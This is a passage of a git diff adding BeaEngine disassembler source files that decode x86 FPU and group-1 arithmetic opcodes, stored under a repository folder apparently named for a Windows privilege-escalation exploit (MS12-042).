#endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucomp "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + + } + + else { + FailDecode(pMyDisasm); + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ DE_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fiadd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fimul "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficom "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficomp "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisub "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisubr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidiv "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidivr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "faddp "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmulp "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp5 "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (MyMODRM == 0xd9){ + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcompp "); + #endif + } + + + } + else if ((MyMODRM & 0xf0) == 0xe0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubrp "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubp "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xf0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivrp "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivp "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument2.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + + } + else { + FailDecode(pMyDisasm); + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ DF_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fild "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisttp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fist "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fistp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2multibytes; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fbld "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg2qword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fild "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg1multibytes; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fbstp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg1qword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fistp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ffreep "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxch7 "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp8 "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp9 "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + + } + else if ((MyMODRM & 0xf0) == 0xe0) { + if (MyMODRM == 0xe0) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstsw "); + #endif + } + else if ((MyMODRM & 0xf) >=8) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucomip "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + + + else { + FailDecode(pMyDisasm); + } + } + + else if ((MyMODRM & 0xf0) == 0xf0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomip "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + + } + else { + FailDecode(pMyDisasm); + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp1.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp1.c new file mode 100644 index 0000000..c939bcb --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_Grp1.c @@ -0,0 +1,297 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 80h + * ==================================================================== */ +void __bea_callspec__ G1_EbIb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + EbIb(pMyDisasm); + if (GV.REGOPCODE == 0) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + FillFlags(pMyDisasm, 5); + } + else if (GV.REGOPCODE == 1) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + FillFlags(pMyDisasm, 74); + } + else if (GV.REGOPCODE == 2) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + FillFlags(pMyDisasm, 4); + } + else if (GV.REGOPCODE == 3) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + FillFlags(pMyDisasm, 93); + } + else if (GV.REGOPCODE == 4) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + FillFlags(pMyDisasm, 6); + } + else if (GV.REGOPCODE == 5) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + FillFlags(pMyDisasm, 103); + } + + else if (GV.REGOPCODE == 6) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + FillFlags(pMyDisasm, 113); + } + + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + FillFlags(pMyDisasm, 20); + (*pMyDisasm).Argument1.AccessMode = READ; + } +} + +/* ==================================================================== + * 82h + * ==================================================================== */ +void __bea_callspec__ G1_EbIb2(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + G1_EbIb(pMyDisasm); + } +} + +/* ==================================================================== + * 81h + * ==================================================================== */ +void __bea_callspec__ G1_EvIv(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + EvIv(pMyDisasm); + if (GV.REGOPCODE == 0) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + FillFlags(pMyDisasm, 5); + } + else if (GV.REGOPCODE == 1) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or "); + #endif + FillFlags(pMyDisasm, 74); + } + else if (GV.REGOPCODE == 2) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + FillFlags(pMyDisasm, 4); + } + else if (GV.REGOPCODE == 3) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sbb "); + #endif + FillFlags(pMyDisasm, 93); + } + else if (GV.REGOPCODE == 4) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + FillFlags(pMyDisasm, 6); + } + else if (GV.REGOPCODE == 5) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sub "); + #endif + FillFlags(pMyDisasm, 103); + } + + else if (GV.REGOPCODE == 6) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + FillFlags(pMyDisasm, 113); + } + + else if (GV.REGOPCODE == 7) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + FillFlags(pMyDisasm, 20); + (*pMyDisasm).Argument1.AccessMode = READ; + } +} + +/* ==================================================================== + * 83h + * ==================================================================== */ +void __bea_callspec__ G1_EvIb(PDISASM pMyDisasm) +{ + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + EvIb(pMyDisasm); + if (GV.REGOPCODE == 0) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + FillFlags(pMyDisasm, 5); + } + else if (GV.REGOPCODE == 1) { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = 